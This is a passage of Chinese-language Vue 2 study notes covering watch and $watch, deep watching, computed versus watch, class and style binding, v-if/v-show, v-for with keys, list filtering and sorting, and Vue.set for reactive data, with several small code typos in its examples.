    <!-- 注意点:如果页面没有使用Info,则当我们点击按钮,然后改变后,Vue插件上的值并没有改变 -->
    <h2>天气预报{{Info}}</h2>
    <!-- 使用methods -->
    <button @click="changeWeather">切换天气</button>
    <!-- 直接在标签中写 -->
    <!-- 绑定事件的时候:@xxx="yyy"  yyy可以写一些简单的语句 -->
    <!-- <button @click="isHot=!isHot">切换天气</button> -->
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data:{
      isHot:true
    },
    computed:{
      Info(){
        return this.isHot?'炎热':'凉爽'
      }
    },
    methods: {
     /* changeWeather(){
        // 此时的isHot为反过来的isHot
        this.isHot=!this.isHot
      }
      */$
    },
  })
</script>
</html>

10.2 监视属性

(1):handler

    // 监视属性
    watch:{
      isHot:{
        // handler什么时候调用?当isHot发生改变的时候
        // handler接收两个参数
        // 第一个参数:被修改后的数值
        // 第二个参数:返回原来的值
        handler(newValue,oldValue){
          console.log('isHot被修改了',newValue,oldValue);
        },
      }
    }

(2)immediate

    // 监视属性
    watch:{
      isHot:{
        // immediate默认值为false
        // 初始化时候让handler调用一下
        immediate:true
      }
    }

3.方法一:通过watch进行监听

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <!-- 准备一个容器 -->
  <div id="root">
    <h2>天气预报{{Info}}</h2>
    <button @click="changeWeather">切换天气</button>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      isHot: true
    },
    computed: {
      Info() {
        return this.isHot ? '炎热' : '凉爽'
      }
    },
    methods: {
      changeWeather() {
        // 此时的isHot为反过来的isHot
        this.isHot = !this.isHot
      }
    },

    // 监视属性
    watch: {
      // 可以监听普通属性
      isHot: {
        // handler什么时候调用?当isHot发生改变的时候
        // handler接收两个参数
        // 第一个参数:被修改后的数值
        // 第二个参数:返回原来的值
        handler(newValue, oldValue) {
          console.log('isHot被修改了', newValue, oldValue);
        },
        // immediate默认值为false
        // 初始化时候让handler调用一下
        immediate: true
      },

      
      // 也可以监听计算属性
      Info: {
        handler(newValue, oldValue) {
          console.log('Info被修改了', newValue, oldValue);
        },
        immediate: true
      }
    }

  })
</script>

</html>

4.方法二:通过$watch进行监听

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <!-- 准备一个容器 -->
  <div id="root">
    <h2>天气预报{{Info}}</h2>
    <button @click="changeWeather">切换天气</button>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      isHot: true
    },
    computed: {
      Info() {
        return this.isHot ? '炎热' : '凉爽'
      }
    },
    methods: {
      changeWeather() {
        // 此时的isHot为反过来的isHot
        this.isHot = !this.isHot
      }
    },

  // 通过$watch进行监听
    //vm.$watch('监视对象',{监视触发事件})
  vm.$watch('isHot',{
    handler(newValue, oldValue) {
          console.log('Info被修改了', newValue, oldValue);
    },
        immediate: true
  })
</script>

</html>

  监视属性watch:

    1.当被监视的属性变化时,回调函数自动【handler】调用,进行相关操作

    2.监视的属性必须存在,才能进行监视

    3.监视有两种写法:

      (1)创建Vue时传入watch配置

      (2)通过vm.$watch监视

5.深度监视

(1)监视多级结构中某一个属性的变化:'numbers.a'

  new Vue({
    el: '#root',
    data: {
      isHot: true,
      numbers:{
        a:1,
        b:2
      }
    },

    // 深度监听
    watch: {
      // 监视多级结构中某一个属性的变化
      'numbers.a':{
        handler(){
          console.log('a改变了');
        }
      }
    }
    
  })

(2)监视多级结构中所有属性的变化:deep:true

  new Vue({
    el: '#root',
    data: {
      isHot: true,
      numbers:{
        a:1,
        b:2
      }
    },

    // 深度监听
    watch: {
    // 监视多级结构中所有属性的变化
      numbers:{
        // deep:默认值为false
        deep:true,
        handler(){
          console.log('numbers改变了');
        }
      }
    }
    
  })

 深度监视:

    (1)Vue中的watch默认不监测对象内部值的改变(一层)

    (2)在watch中配置deep:true可以监测对象内部值的改变(多层)

  备注:

    (1)Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以

    (2)使用watch时根据监视数据的具体结构,决定是否采用深度监视

6.监视的简写

当在watch中只有handler方法的时候才可以使用

6.1 通过watch的方法简写

    // 监视属性
    watch: {
      // 完整写法
     /* isHot: {
        // 深度监视
        deep:true,
        handler(newValue, oldValue) {
          console.log('isHot被修改了', newValue, oldValue);
        },
        immediate: true
      }
      */

      // 监视的简写形式
      isHot(newValue, oldValue){
          console.log('isHot被修改了', newValue, oldValue);
      }
    }

6.2 通过$watch的方法

  const vm=new Vue({
    el: '#root',
    data: {
      isHot: true,
      numbers:{
        a:1,
        b:2
      }
    }

  // 完整写法【正常写法】
  vm.$watch('isHot',{
    deep:true,
        handler(newValue, oldValue) {
          console.log('isHot被修改了', newValue, oldValue);
        },
        immediate: true
  })

  // 监听的简写:当只有handler方法的时候才可以
  // 注意:不能写成箭头函数
  vm.$watch('isHot',function(newValue, oldValue){
    console.log('isHot被修改了', newValue, oldValue);
  })

7.watch和computed的对比

官网例子:计算属性和侦听器 — Vue.js

7.1 姓名案例——watch实现

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>姓名案例——watch实现</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>


  <!-- 准备一个容器 -->
  <div id="root">
    姓:<input type="text" v-model:value="firstName">
    <br>
    名:<input type="text" v-model:value="lastName">
    <br>
    姓名:<span>{{fullName}}</span>

  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false
  const vm = new Vue({
    el: '#root',
    data: {
      // 属性
      firstName: '张',
      lastName: '三',
      fullName:'张-三'
    },
    watch:{
      // 由于oldValue没有用到所以不写
      firstName(newValue){
        this.fullName=newValue+'-'+this.lastName
      },
      lastName(newValue){
        this.fullName=this.firstName+'-'+newValue
      }
    }

  })
</script>

</html>

7.2 姓名案例——计算属性实现

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>姓名案例——计算属性实现</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>



  <!-- 准备一个容器 -->
  <div id="root">
    姓:<input type="text" v-model:value="firstName">
    <br>
    名:<input type="text" v-model:value="lastName">
    <br>
    <!-- 计算属性有缓存机制:所以此时fullName就调用一次 -->
    姓名:<span>{{fullName}}</span>
    姓名:<span>{{fullName}}</span>
    姓名:<span>{{fullName}}</span>
    姓名:<span>{{fullName}}</span>
    姓名:<span>{{fullName}}</span>
    
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false
 const vm=new Vue({
  el:'#root',
  data: {
    // 属性
    firstName:'张',
    lastName:'三'
  },
  // vm._data中没有fullName
  // 计算属性,对象的形式
  // 计算属性直接丢给vm,不给data
  computed: {
    // 上面使用了5次fullName,此时fullName调用了5次
    fullName:{
      get(){//读取属性
        console.log('get被调用');
        // 此时this-->指向vm
        return this.firstName+'_'+this.lastName
      },


      // set不是必须写的
      // set什么时候调用?当fullName被修改的时候
      set(value){//修改属性
        console.log('set',value);
        const arr=value.split('-')
        this.firstName=arr[0]
        this.lastName=arr[1]
      }
    }
  },
  
 })
</script>
</html>

7.3 图示

 7.4 区别 

watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作

 7.5 watch完整版本

7.6 总结

      computed和watch之间的区别:

          1.computed能完成的功能,watch都可以完成

          2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作

      两个重要的小原则:

        1.所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象

        2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数(在当前的函数中找不到vm,则向上查找),这样this的指向才是vm 或 组件实例对象。

11.class与style的绑定【样式绑定】

1.绑定class样式【:class=" "

 (1)字符串写法

适用于:样式的类名不确定,需要动态指定

<body>
  <div id="root">
    <!-- 当点击名字的时候添加一个basic happy的样式 -->
    <!-- 绑定class样式-----字符串写法,适用于:样式的类名不确定,需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>

  </div>
  <script type="text/javascript">
    new Vue({
      el:'#root',
      data:{
        name:'小林',
        mood:'normal',
      },
      methods: {
        changeMood(){
          const arr=['happy','sad','normal']
          // random产生的随机数0<=x<1(不包括1)
          // Math.random()*3--接收到[0,2)
          const index=Math.floor(Math.random()*3)
          this.mood=arr[index]
        }
      },
    })
  </script>
</body>

(2)数组写法

适用于:要绑定的样式个数不确定,名字也不确定

<body>
  <div id="root">
    <!-- 绑定class样式-----数组写法,适用于:要绑定的样式个数不确定,名字也不确定 -->
    <div class="basic" :class="classArr">{{name}}</div>

  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '小林',
        classArr: ['atguigu1', 'atguigu2', 'atguigu3']
      }

    })
  </script>
</body>

(3)对象写法

适用于:要绑定的样式个数确定,名字也确定,但是要动态决定用不用

<body>
  <div id="root">
    <!-- 绑定class样式-----对象写法,适用于:要绑定的样式个数确定,名字也确定,但是要动态决定用不用 -->
    <div class="basic" :class="classObj">{{name}}</div>

  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '小林',
        classObj:{
          atguigu1:false,
          atguigu2:false
        }
      }
  </script>
</body>

  class样式:

      写法:class="xxx",xxx可以是字符串、对象、数组

      字符串写法适用于:类名不确定,要动态获取

      对象写法适用于:要绑定多个样式,个数不确定,名字也不确定

      数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用

2.绑定style样式

(1)对象写法

<body>
  <div id="root">
    
    <div class="basic" :style="styleObj">{{name}}</div>

  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '小林',
        styleObj:{
          // 驼峰命名法
          fontSize:'40px',
          color:'red',
          backgroundColor:'orange'
        }
      },
      

    })
  </script>
</body>

(2)数组写法

<body>
  <div id="root">
    <!-- 绑定style样式---对象写法 -->
    <div class="basic" :style="styleObj">{{name}}</div>
    
    <!-- 绑定style样式---数组写法 -->
    <!-- 同时应用styleObj,styleObj2 -->
    <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>

  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '小林',
        styleObj:{
          // 驼峰命名法
          fontSize:'40px',
          color:'red',
        },
        styleObj2:{
          backgroundColor:'orange'
        }
      },
      

    })
  </script>
</body>

  style样式:

  :style="{fontSize: xxx}"其中xxx是动态值

  :style="[a,b]"其中a、b是样式对象

12.条件渲染

1.v-show

适用于:切换频率较高的场景

使用v-show实际上是使用了display:none

特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

高频率使用就使用:v-show

<body>

  <div id="root">
    <!-- 使用v-show做条件渲染 -->
    <!-- 使用v-show实际上是使用了display:none -->
    <!-- 高频率使用就使用:v-show-->
    <h2 v-show="false">欢迎来到{{name}}</h2>
    <h2 v-show="1===1">欢迎来到{{name}}</h2>
  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '小林',
      },
    })
  </script>
</body>

2.v-if:是将整个元素删除了,效率低

<body>

  <div id="root">
    <!-- 使用v-if做条件渲染 -->
    <h2 v-if="1===1">欢迎来到{{name}}</h2>
    <h2 v-if="false">欢迎来到{{name}}</h2>
  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '小林',
      },
    })
  </script>
</body>

3.v-else-if与v-else

<body>

    <h2>当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>

    <!-- v-else-if与v-else -->
    <div v-if="n===1">Angular</div>
    <div v-else-if="n===2">Angular</div>
    <div v-else-if="n===3">Vue</div>
    <!-- 后面一般不加上v-else,因为当不满足上面的等式,则直接渲染v-else中的东西 -->
    <div v-else="n===4">hh</div>
  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '小林',
        n:0
      },
    })
  </script>
</body>

          写法:

            (1)v-if="表达式"

            (2)v-else-if="表达式"

            (3)v-else

              适用于:切换频率较低的场景

              特点:不展示的DOM元素直接被移除

注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被打断

v-if与template的配合使用:template只能和v-if一起使用,不能跟v-show

    <!-- v-if与template的配合使用 -->
    <template v-if="n===1">
      <h2>您好</h2>
      <h2>无论</h2>
      <h2>更多</h2>
    </template>

4.注意点:

使用v-if的时候,元素可能无法获取到,而使用v-show一定可以获取到

13.列表渲染

1.v-for

(1)v-for的循环机制

<body>
  <div id="root">
    <h2>人员列表</h2>
    <ul>
      <!-- p表示persons中的每一个数据 -->
      <!-- 如果使用v-for则一定要用key -->
      <li v-for="p in persons" :key="p.id">
        {{p.name}}--{{p.age}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data: {
      persons:[
        {id:'001',name:'张三',age:19},
        {id:'002',name:'李四',age:12},
        {id:'003',name:'王五',age:13}
      ]
    },
  })
</script>

(2)接收到2个参数(每一个参数值,索引值)【顺序不能改变】

<body>
  <div id="root">
    <h2>人员列表</h2>
    <ul>
        <!-- v-for循环的时候接收2个参数 -->
        <!-- 第一个参数:接收到数组中每一个数值 -->
        <!-- 第二个参数:是index索引值 -->
        <li v-for="(p,index) in persons" :key="index">
          {{p}}---{{index}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data: {
      persons:[
        {id:'001',name:'张三',age:19},
        {id:'002',name:'李四',age:12},
        {id:'003',name:'王五',age:13}
      ]
    },
  })
</script>

 (3)可以将of替代in

<body>
  <div id="root">
    <h2>人员列表</h2>
    <h1>遍历数组</h1>
    <ul>
      <!-- 可以将in改为of -->
      <li v-for="(p,index) of persons" :key="index">
        {{p}}---{{inedx}}
    </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data: {
      persons:[
        {id:'001',name:'张三',age:19},
        {id:'002',name:'李四',age:12},
        {id:'003',name:'王五',age:13}
      ]
    },
  })
</script>

 (4)遍历数组

<body>
  <div id="root">
    <h2>人员列表</h2>
    <ul>
      <!-- p表示persons中的每一个数据 -->
      <!-- 如果使用v-for则一定要用key -->
      <li v-for="p in persons" :key="p.id">
        {{p.name}}--{{p.age}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data: {
      persons:[
        {id:'001',name:'张三',age:19},
        {id:'002',name:'李四',age:12},
        {id:'003',name:'王五',age:13}
      ]
    },
  })
</script>

(5)遍历对象

<body>
  <div id="root">
    <h2>人员列表</h2>
    <h1>遍历对象</h1>
    <h1>遍历对象</h1>
    <ul>
      <li v-for="(value,k) in car" :key="k">
        {{value}}---{{k}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data: {
      car:{
        name:'奔驰',
        price:90
      }
    },
  })
</script>

(6)遍历字符串

<body>
  <div id="root">
    <h2>人员列表</h2>
    <h1>遍历数组</h1>
    <ul>
    <h1>遍历字符串</h1>
    <ul>
      <li v-for="(char,k) in str" :key="k">
        {{char}}---{{k}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data: {
      str:'hello'
    },
  })
</script>

 (8)遍历指定次数

<body>
  <div id="root">
    <h2>人员列表</h2>
    <h1>遍历数组</h1>
    <ul>
    <h1>遍历指定次数</h1>
    <ul>
      <li v-for="(number,index) in 5" :key="index">
        {{number}}---{{index}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el:'#root',
    data: {
      persons:[
        {id:'001',name:'张三',age:19},
        {id:'002',name:'李四',age:12},
        {id:'003',name:'王五',age:13}
      ],
      car:{
        name:'奔驰',
        price:90
      },
      str:'hello'
    },
  })
</script>

 (9)总结

  v-for指令:

  1.用于展示列表数据

  2.语法:<li v-for="(item, index) in xxx" :key="yyy">,其中key可以是index,也可以是遍历对象的唯一标识

  3.可遍历:数组、对象、字符串(用的少)、指定次数(用的少)

2.key的原理

(1) 当我们写上key的时候,是不可以使用的key这个属性的

(2)浏览器上的key属性名

(3)遍历列表时key的作用(index作为key)

 (4)遍历列表时key的作用(id作为key)

 (5)总结

面试题:react、vue中的key有什么作用?(key的内部原理)

      1.虚拟DOM中key的作用:key是虚拟DOM中对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

      2.对比规则:

        (1)旧虚拟DOM中找到了与新虚拟DOM相同的key:

            a.若虚拟DOM中内容没变, 直接使用之前的真实DOM

            b.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM

        (2)旧虚拟DOM中未找到与新虚拟DOM相同的key:

              创建新的真实DOM,随后渲染到到页面

      3.用index作为key可能会引发的问题:

            (1).若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低

            (2)若结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题


 

      4.开发中如何选择key?

          (1)最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值

          (2)如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key是没有问题的

3.列表过滤

(1)通过watch实现(过滤器:filter)

computed能实现的,watch都能实现

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>列表过滤</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>人员列表</h2>
    <!-- persons一变就重新解析模板,整个列表就发生变化了 -->
    <!-- 收集用户输入:给输入框绑定双向数据绑定 -->
    <input type="text" placeholder="请输入名字" v-model="keyWord">
    <li v-for="(p,index) in filPersons" :key="index">
      {{p.name}}--{{p.age}}---{{p.sex}}
    </li>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      keyWord: '',
      persons: [
        { id: '001', name: '马冬梅', age: 19, sex: '女' },
        { id: '002', name: '周冬雨', age: 21, sex: '女' },
        { id: '003', name: '周杰伦', age: 11, sex: '男' },
        { id: '004', name: '温兆伦', age: 13, sex: '男' }
      ],
      // 是过滤器过滤出来的新数据
      // 如果不使用这个,则数据会越搜索越少
      filPersons: []
    },
    watch: {
      // 因为我们不关心上一个数据,所以不传入oldValue
      keyWord: {
        // 这里为什么要使用immediate,因为要页面一上来就直接刷新
        // 一刷新发现newValue为空字符串,所以indexOf为0,所以直接将所有数据进行展示【'abc'.indexOf('')===0|||'abc'.indexOf('a')===0】
        immediate:true,
        handler(newValue) {
          // console.log('kwyWord被改变',newValue);
          // filter:过滤器【过滤掉不想要的东西,返回的是全新的数组】
          this.filPersons = this.persons.filter((p) => {
            // return 返回的是要的内容
            // indexOf--如果返回-1,则表示不包含,如果返回值不为-1,则表示找到并返回索引值,如果返回值为0,则表示包含空字符串
            return p.name.indexOf(newValue) !== -1
          })
        }
        }
      }
    })
</script>

</html>

(2)通过计算属性

<body>
  <div id="root">
    <h2>人员列表</h2>
    <!-- persons一变就重新解析模板,整个列表就发生变化了 -->
    <!-- 收集用户输入:给输入框绑定双向数据绑定 -->
    <input type="text" placeholder="请输入名字" v-model="keyWord">
    <li v-for="(p,index) in filPersons" :key="index">
      {{p.name}}--{{p.age}}---{{p.sex}}
    </li>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      keyWord: '',
      persons: [
        { id: '001', name: '马冬梅', age: 19, sex: '女' },
        { id: '002', name: '周冬雨', age: 21, sex: '女' },
        { id: '003', name: '周杰伦', age: 11, sex: '男' },
        { id: '004', name: '温兆伦', age: 13, sex: '男' }
      ]
    },
    computed:{
      // 默认只有get
      filPersons(){
        return this.persons.filter((p)=>{
          // keyWord怎么变我不用去监视
          return p.name.indexOf(this.keyWord)!==-1
        })
      }
    }
})
</script>

4.列表排序

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>列表排序</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2>人员列表</h2>
    <!-- persons一变就重新解析模板,整个列表就发生变化了 -->
    <!-- 收集用户输入:给输入框绑定双向数据绑定 -->
    <input type="text" placeholder="请输入名字" v-model="keyWord">
    <button @click="sortType=2">年龄升序</button>
    <button @click="sortType=1">年龄降序</button>
    <button @click="sortType=0">原顺序</button>
    <li v-for="(p,index) in filPersons" :key="index">
      {{p.name}}--{{p.age}}---{{p.sex}}
    </li>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      // 获取用户输入的名字
      keyWord: '',
       //0代表原顺序,1降序,2升序
      sortType:0, 
      persons: [
        { id: '001', name: '马冬梅', age: 19, sex: '女' },
        { id: '002', name: '周冬雨', age: 21, sex: '女' },
        { id: '003', name: '周杰伦', age: 11, sex: '男' },
        { id: '004', name: '温兆伦', age: 13, sex: '男' }
      ]
    },
    // 计算属性
    computed:{//计算属性最终的结果都是return出来的
      // 默认只有get
      filPersons(){
        //先将搜索结果保存起来,才可以进行后续的排序,如果直接返回出去就无法操作搜索结果
        const arr=this.persons.filter((p)=>{
          // keyWord怎么变我不用去监视
          return p.name.indexOf(this.keyWord)!==-1
        })
        // 判断一下是否要排序
        if(this.sortType){
          // 记得排序的是过滤后的结果(arr)
          arr.sort((p1,p2)=>{
            // 判断此时是1还是2
            return this.sortType===1?p2.age-p1.age :p1.age-p2.age
          })
        }
        // 记得返回
        return arr
      }
    }
})


 /*sort改变数组 
  let arr=[1,2,4,5,6]
  arr.sort((a,b)=>{
    // a-b:表示升序
    // b-a:表示降序
    return a-b
  })
  console.log(arr);
  */
</script>

</html>

14.数据检测

1.更新时的一个问题

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>

  <!-- v-for指令:

  1.用于展示列表数据
  2.语法:<li v-for="(item, index) in xxx" :key="yyy">,其中key可以是index,也可以是遍历对象的唯一标识
  3.可遍历:数组、对象、字符串(用的少)、指定次数(用的少) -->

  <div id="root">
    <h2>人员列表</h2>
    <button @click="updateMei">点击更新马冬梅的信息</button>
    <ul>
      <li v-for="p in persons" :key="p.id">
        {{p.name}}--{{p.age}}
      </li>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      persons: [
        { id: '001', name: '马冬梅', age: 19, sex: '女' },
        { id: '002', name: '周冬雨', age: 21, sex: '女' },
        { id: '003', name: '周杰伦', age: 11, sex: '男' },
        { id: '004', name: '温兆伦', age: 13, sex: '男' }
      ]
    },
    methods: {
      updateMei(){
        // 修改后Vue页面更新了
        // this.persons[0].age=10
        // this.persons[0].name='马老师'

        // Vue页面并没有更新
        this.persons[0]={ id: '001', name: '马老师', age: 10, sex: '女' }
      }
    },
  })
</script>

</html>

 2.检测数据的原理---对象

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <script type="text/javascript">
    let data={
      name:'小林学校',
      address:'广东省'
    }

    // 创建一个监视的实例对象
    const obs=new Observer(data)

    // 创建一个vm实例对象
    let vm={}
    vm._data=data=obs

    function Observer(obj){
      // 汇总对象中所有的属性形成一个数组
      const keys=Object.keys(obj)
      // 遍历
      keys.forEach((k)=>{
        Object.defineProperties(this,k,{
          get(){
            return obj[k]
          },
          set(value){
            console.log(`${k}被改了,我要去解析模板了`);
            obj[k]=value
          }
        })
      })
    }

    // 使用下面这个方法会出现栈溢出
    /*
    Object.defineProperties(data,'name',{
        get(){
          return data.name
        },
        set(val){
          data.name=val
        }
    })
    */
  </script>
</body>
</html>

3.Vue.set/vm.$set(要添加到的地方,要添加的属性名,添加的属性值)方法【vm._data.student===vm.stduent】

注意点:set中的target(第一个参数)中不允许出现vm或者vm.data。

(1)直接将属性加上

 (2)使用Vue.set()

    <!-- 表示当student.sex===true的时候展示 -->
    <h2 v-if="student.sex">性别:{{student.sex}}</h2>

<script type="text/javascript">
  const vm=new Vue({
    el: '#root',
    data: {
      name:'小林学校',
      address:'广东省' ,
      student:{
        name:'tom',
        age:{
          rAge:19,
          sAge:20,
        },
        friends:[
          {name:'Tom',age:34},
          {name:'Jerry',age:33}
        ]
      }
    },
    methods: {
      addSex(){
        Vue.set(this.student,'sex','男')
      }
    },
  })
</script>

 (3)使用vm.$set()

    <!-- 表示当student.sex===true的时候展示 -->
    <h2 v-if="student.sex">性别:{{student.sex}}</h2>

<script type="text/javascript">
  const vm=new Vue({
    el: '#root',
    data: {
      name:'小林学校',
      address:'广东省' ,
      student:{
        name:'tom',
        age:{
          rAge:19,
          sAge:20,
        },
        friends:[
          {name:'Tom',age:34},
          {name:'Jerry',age:33}
        ]
      }
    },
    methods: {
      addSex(){
        // Vue.set(this.student,'sex','男')
        this.set(this.student,'sex','男')
      }
    },
  })
</script>

(4)注意点

注意点:set中的target(第一个参数)中不允许出现vm或者vm.data。

vm.$set(vm._data.student,'sex','男')等价于vm.$set(vm.student,'sex','男')

解决方法:只能在data中创建一个对象,把要的数据放进去

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>


  <div id="root">
    <h1>学校信息</h1>
    <h2>学校名称:{{school.name}}</h2>
    <h2>学校地址:{{school.address}}</h2>
    <!-- leader是查看data中是否包含leader这个属性 -->
    <h2>小张是:{{school.leader}}</h2>
    <!-- 注意点:在Vue中如果a不存在,则访问a则报错 -->
    <!-- 如果a存在,b不存在,则a.b不报错 -->
    <hr>
    <h1>学生信息</h1>
    <button @click="addSex">添加一个性别属性,默认值为男</button>
    <h2>学生姓名:{{student.name}}</h2>
    <hr>
    <h2>学生真实年龄:{{student.age.rAge}}</h2>
    <hr>
    <h2>学生对外年龄:{{student.age.sAge}}</h2>
    <hr>
    <!-- 表示当student.sex===true的时候展示 -->
    <h2 v-if="student.sex">性别:{{student.sex}}</h2>
    <h2>朋友们</h2>
    <ul>
      <li v-for="(f,index) in student.friends" :key="index">
        {{f.name}}--{{f.age}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data: {
      school: {
        name: '小林学校',
        address: '广东省',
      },
      student: {
        name: 'tom',
        age: {
          rAge: 19,
          sAge: 20,
        },
        friends: [
          { name: 'Tom', age: 34 },
          { name: 'Jerry', age: 33 }
        ]
      },

    },
    methods: {
      addSex() {
        // Vue.set(this.student,'sex','男')
        this.$set(this.student, 'sex', '男')
      }
    },
  })
</script>

</html>

 (5)总结

官方文档:API — Vue.js (vuejs.org)

  4.检测数据的原理---数组

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>


  <div id="root">
    <h1>学校信息</h1>
    <h2>学校名称:{{school.name}}</h2>
    <h2>学校地址:{{school.address}}</h2>
    <!-- leader是查看data中是否包含leader这个属性 -->
    <h2>小张是:{{school.leader}}</h2>
    <!-- 注意点:在Vue中如果a不存在,则访问a则报错 -->
    <!-- 如果a存在,b不存在,则a.b不报错 -->
    <hr>
    <h1>学生信息</h1>
    <button @click="addSex">添加一个性别属性,默认值为男</button>
    <h2>学生姓名:{{student.name}}</h2>
    <hr>
    <h2>学生真实年龄:{{student.age.rAge}}</h2>
    <hr>
    <h2>学生对外年龄:{{student.age.sAge}}</h2>
    <hr>
    <h2>爱好</h2>
    <ul>
      <li v-for="(h,index) in student.hobby" :key="index">
        {{h}}
      </li>
    </ul>
    <!-- 表示当student.sex===true的时候展示 -->
    <h2 v-if="student.sex">性别:{{student.sex}}</h2>
    <h2>朋友们</h2>
    <ul>
      <li v-for="(f,index) in student.friends" :key="index">
        {{f.name}}--{{f.age}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data: {
      school: {
        name: '小林学校',
        address: '广东省',
      },
      student: {
        name: 'tom',
        age: {
          rAge: 19,
          sAge: 20,
        },
        hobby:['抽烟','喝酒','烫头'],
        friends: [
          { name: 'Tom', age: 34 },
          { name: 'Jerry', age: 33 }
        ]
      },

    },
    methods: {
      addSex() {
        // Vue.set(this.student,'sex','男')
        this.$set(this.student, 'sex', '男')
      }
    },
  })
</script>

</html>

 官网:

列表渲染 — Vue.js

(1) 修改数组中的数据方法一:使用Vue提供的方法进行操作

 (2) 修改数组中的数据方法二:使用Vue.set() /vm.$set()

